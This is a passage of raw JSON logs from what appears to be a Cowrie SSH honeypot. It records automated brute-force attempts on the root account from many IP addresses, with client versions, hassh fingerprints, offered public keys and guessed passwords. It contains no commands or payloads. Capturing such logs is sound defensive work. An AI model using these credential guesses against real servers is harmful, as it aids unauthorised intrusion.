type ssh-rsa with fingerprint 37:a9:7a:af:e2:02:8d:ed:cc:51:82:e1:2c:19:97:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.830455Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:a9:7a:af:e2:02:8d:ed:cc:51:82:e1:2c:19:97:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZA6Womb5OeSEJW0KqGAajNE1yLQlDSdByOojwJ9qakMtaWPLR7MRYxqaiaZjsFADUzKpu8VRYtwjfWLo6aSe6HGnt/lxVTN95gPTKkMLFyQcw8RRkdPeABNGN4AumUo0/gT4x7Sf7G6Pi8MicMOEyZgXsk9zjxvtVpa5RexEEi/GDaBZ9LifCAGaeM2UYrSuOE4jrB7iC8QJ7a5GHEjgu3QGLU02VLx+5irCalyMTNdSRYcSyeNbTxrHkujQxirRbmMIYK17rEkCncQXSv1gZxEZFZBHc+veYQvBCvmL7BaWBmWGmetu9YanH/R5fadHXZlnWjR2yy7IOgxJ8iqiYdplIL/SV0jU7EpzmUVjSpK8L+MQCPYoP9PjFSl8bzGVLnE0JHcoB+/vecqK8prk2krr6KvvGpP94CHeT5E7bIFLNElDOKjcX+hJCiSdFEgEV/Tkh3Q7wFtrY65T1+5pVIb9IJa2GXRzcBzz76ANRRXjOKxe9WoPui5/WJ6m1BWuxVvcfeY4nlUX0teZej6VXuTPsQ4cjxi2i+FuTeju72Z44uBngmB2ZzrPo7Go+tpW1bufd0bFGjoersvHCkQADcssRdWqM7j+fEVv2OrpcY3B8r03FKLLsc84b1XQvwt69lCohK2P/BzvMoqymgJh99tNhLzg60gI9uHNpiAzzrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.836377Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:4d:d3:a2:05:6c:2e:d9:0d:e3:60:3e:f9:26:01:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuf1oHCTlSne4PjVJ7PoO+qh9V9PAZHUKXGYbgjD+wFZN3x42canQ63d0WXOhTIseuNeTaITyoxBVLVi9BkKJ7VteuXX8L6xeSJMNtwcWyoAol9fDzZ7ByqDy9CYhgaJnxifaYN8a3xRIuWgCd2ZDK47XRo/y64lc8ReZxLSaEFxhe9Vmm/8rmvECyoqztum3VeVFlz17Cu5Z9enD38udzqj/Lv2Y5ucCgJuyAt2ZB+z9h9oZcgunwZTIbgesVGGkc3tBaT1tjsJJ98Y58qEr3zEqDqtqb5AQgbPSEUmj7eF73HofLkBtAXaWlP5Pqyodmxs+E9Dt75wfaQibpL2XGriaLh3hYvDEH7OE/MnW2Y+skjwfqJIGkGDmt8eQZZu3nJdJOAZsUlJZ54gbXsgb5WM2Epkm9lLqnmOioxTBtar6YmH3yo3UH2KpCghtnV1aWz0pvV/PmrDv6B5k9fY1iyJJ5J1nemDH/9zaD1ADF4RfpgAUxvB6dGvogOOwxt2YEqGY9Mm/ftueYnFDVNxXhRgh1o6HicwoNyunkLLh2UH4/JWxC74rBCOiEaSEMh2MMBQ7m75f9tQpJ/wMqX9kRXxF4NJotVIvFyFS0bwy5I6zEaIZUch7DrzX/GpqfMbmGQ3BMUn5euDjJp7cCw9VwgTANaxupHr2Npbyrk6v5wQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:4d:d3:a2:05:6c:2e:d9:0d:e3:60:3e:f9:26:01:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.914572Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:4d:d3:a2:05:6c:2e:d9:0d:e3:60:3e:f9:26:01:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuf1oHCTlSne4PjVJ7PoO+qh9V9PAZHUKXGYbgjD+wFZN3x42canQ63d0WXOhTIseuNeTaITyoxBVLVi9BkKJ7VteuXX8L6xeSJMNtwcWyoAol9fDzZ7ByqDy9CYhgaJnxifaYN8a3xRIuWgCd2ZDK47XRo/y64lc8ReZxLSaEFxhe9Vmm/8rmvECyoqztum3VeVFlz17Cu5Z9enD38udzqj/Lv2Y5ucCgJuyAt2ZB+z9h9oZcgunwZTIbgesVGGkc3tBaT1tjsJJ98Y58qEr3zEqDqtqb5AQgbPSEUmj7eF73HofLkBtAXaWlP5Pqyodmxs+E9Dt75wfaQibpL2XGriaLh3hYvDEH7OE/MnW2Y+skjwfqJIGkGDmt8eQZZu3nJdJOAZsUlJZ54gbXsgb5WM2Epkm9lLqnmOioxTBtar6YmH3yo3UH2KpCghtnV1aWz0pvV/PmrDv6B5k9fY1iyJJ5J1nemDH/9zaD1ADF4RfpgAUxvB6dGvogOOwxt2YEqGY9Mm/ftueYnFDVNxXhRgh1o6HicwoNyunkLLh2UH4/JWxC74rBCOiEaSEMh2MMBQ7m75f9tQpJ/wMqX9kRXxF4NJotVIvFyFS0bwy5I6zEaIZUch7DrzX/GpqfMbmGQ3BMUn5euDjJp7cCw9VwgTANaxupHr2Npbyrk6v5wQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.922707Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:02.994395Z","src_ip":"86.111.187.163","session":"e4092143ba0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:06.777362Z","src_ip":"101.126.22.12","session":"44990cf1ac39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44974,"dst_ip":"159.203.135.109","dst_port":22,"session":"615ec95eba38","protocol":"ssh","message":"New connection: 147.45.199.80:44974 (159.203.135.109:22) [session: 615ec95eba38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:07.113366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:07.118635Z","src_ip":"147.45.199.80","session":"615ec95eba38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:07.216352Z","src_ip":"147.45.199.80","session":"615ec95eba38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vitamin","message":"login attempt [root/vitamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:07.509848Z","src_ip":"147.45.199.80","session":"615ec95eba38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:08.611580Z","src_ip":"147.45.199.80","session":"615ec95eba38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41306,"dst_ip":"10.17.0.5","dst_port":22,"session":"e78b29483a77","protocol":"ssh","message":"New connection: 103.149.170.125:41306 (10.17.0.5:22) [session: e78b29483a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:21.716313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:21.721611Z","src_ip":"103.149.170.125","session":"e78b29483a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:21.997420Z","src_ip":"103.149.170.125","session":"e78b29483a77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chelsea","message":"login attempt [root/chelsea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:23.136297Z","src_ip":"103.149.170.125","session":"e78b29483a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:24.407029Z","src_ip":"103.149.170.125","session":"e78b29483a77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":38612,"dst_ip":"159.203.135.109","dst_port":22,"session":"4246d579c6c1","protocol":"ssh","message":"New connection: 108.167.177.203:38612 (159.203.135.109:22) [session: 4246d579c6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:27.999232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:28.003661Z","src_ip":"108.167.177.203","session":"4246d579c6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:28.029503Z","src_ip":"108.167.177.203","session":"4246d579c6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zrway.com","message":"login attempt [root/zrway.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:28.164793Z","src_ip":"108.167.177.203","session":"4246d579c6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:29.194378Z","src_ip":"108.167.177.203","session":"4246d579c6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":50486,"dst_ip":"159.203.135.109","dst_port":22,"session":"913edec61ddd","protocol":"ssh","message":"New connection: 207.154.230.149:50486 (159.203.135.109:22) [session: 913edec61ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:41.616023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:41.623716Z","src_ip":"207.154.230.149","session":"913edec61ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:41.701656Z","src_ip":"207.154.230.149","session":"913edec61ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shaker","message":"login attempt [root/shaker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:42.020796Z","src_ip":"207.154.230.149","session":"913edec61ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:43.105256Z","src_ip":"207.154.230.149","session":"913edec61ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":34032,"dst_ip":"159.203.135.109","dst_port":22,"session":"6450ff6165e1","protocol":"ssh","message":"New connection: 184.94.212.80:34032 (159.203.135.109:22) [session: 6450ff6165e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:43.592809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:43.597258Z","src_ip":"184.94.212.80","session":"6450ff6165e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:43.661165Z","src_ip":"184.94.212.80","session":"6450ff6165e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victor","message":"login attempt [root/victor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:43.951301Z","src_ip":"184.94.212.80","session":"6450ff6165e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:01:45.021615Z","src_ip":"184.94.212.80","session":"6450ff6165e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":42890,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8d6c8e161b9","protocol":"ssh","message":"New connection: 163.227.230.54:42890 (159.203.135.109:22) [session: f8d6c8e161b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:06.492351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:06.497146Z","src_ip":"163.227.230.54","session":"f8d6c8e161b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:06.737884Z","src_ip":"163.227.230.54","session":"f8d6c8e161b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lan","message":"login attempt [root/lan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:07.734257Z","src_ip":"163.227.230.54","session":"f8d6c8e161b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:08.978994Z","src_ip":"163.227.230.54","session":"f8d6c8e161b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":59928,"dst_ip":"159.203.135.109","dst_port":22,"session":"500b1452cdf8","protocol":"ssh","message":"New connection: 119.28.117.200:59928 (159.203.135.109:22) [session: 500b1452cdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:12.448907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:12.453473Z","src_ip":"119.28.117.200","session":"500b1452cdf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 